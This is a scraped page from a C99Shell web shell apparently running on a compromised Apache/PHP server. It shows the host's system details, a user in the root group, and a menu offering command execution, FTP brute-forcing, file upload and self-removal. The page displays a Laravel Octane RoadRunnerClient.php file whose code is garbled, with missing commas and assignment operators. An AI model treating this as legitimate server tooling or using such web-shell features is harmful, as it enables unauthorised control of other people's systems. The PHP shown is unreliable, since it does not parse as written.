!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/laravel/octane/src/RoadRunner/   drwxr-xr-x
Free 28.7 GB of 117.98 GB (24.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RoadRunnerClient.php (2.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Octane\RoadRunner;

use 
Generator;
use 
Illuminate\Foundation\Application;
use 
Illuminate\Http\Request;
use 
Laravel\Octane\Contracts\Client;
use 
Laravel\Octane\Contracts\StoppableClient;
use 
Laravel\Octane\MarshalsPsr7RequestsAndResponses;
use 
Laravel\Octane\Octane;
use 
Laravel\Octane\OctaneResponse;
use 
Laravel\Octane\RequestContext;
use 
ReflectionFunction;
use 
Spiral\RoadRunner\Http\PSR7Worker;
use 
Symfony\Component\HttpFoundation\BinaryFileResponse;
use 
Symfony\Component\HttpFoundation\StreamedResponse;
use 
Throwable;

class 
RoadRunnerClient implements ClientStoppableClient
{
    use 
MarshalsPsr7RequestsAndResponses;

    public function 
__construct(protected PSR7Worker $client)
    {
    }

    
/**
     * Marshal the given request context into an Illuminate request.
     */
    
public function marshalRequest(RequestContext $context): array
    {
        return [
            
$this->toHttpFoundationRequest($context->psr7Request),
            
$context,
        ];
    }

    
/**
     * Send the response to the server.
     */
    
public function respond(RequestContext $contextOctaneResponse $octaneResponse): void
    
{
        if (
$octaneResponse->outputBuffer &&
            ! 
$octaneResponse->response instanceof StreamedResponse &&
            ! 
$octaneResponse->response instanceof BinaryFileResponse) {
            
$octaneResponse->response->setContent(
                
$octaneResponse->outputBuffer.$octaneResponse->response->getContent()
            );
        }

        if (
            (
$octaneResponse->response instanceof StreamedResponse) &&
            (
$responseCallback $octaneResponse->response->getCallback()) &&
            ((new 
ReflectionFunction($responseCallback))->getReturnType()?->getName() === Generator::class)
        ) {
            
$this->client->getHttpWorker()->respond(
                
$octaneResponse->response->getStatusCode(),
                
$responseCallback(),
                
$this->toPsr7Response($octaneResponse->response)->getHeaders(),
            );

            return;
        }

        
$this->client->respond($this->toPsr7Response($octaneResponse->response));
    }

    
/**
     * Send an error message to the server.
     */
    
public function error(Throwable $eApplication $appRequest $requestRequestContext $context): void
    
{
        
$this->client->getWorker()->error(Octane::formatExceptionForClient(
            
$e,
            
$app->make('config')->get('app.debug')
        ));
    }

    
/**
     * Stop the underlying server / worker.
     */
    
public function stop(): void
    
{
        
$this->client->getWorker()->stop();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--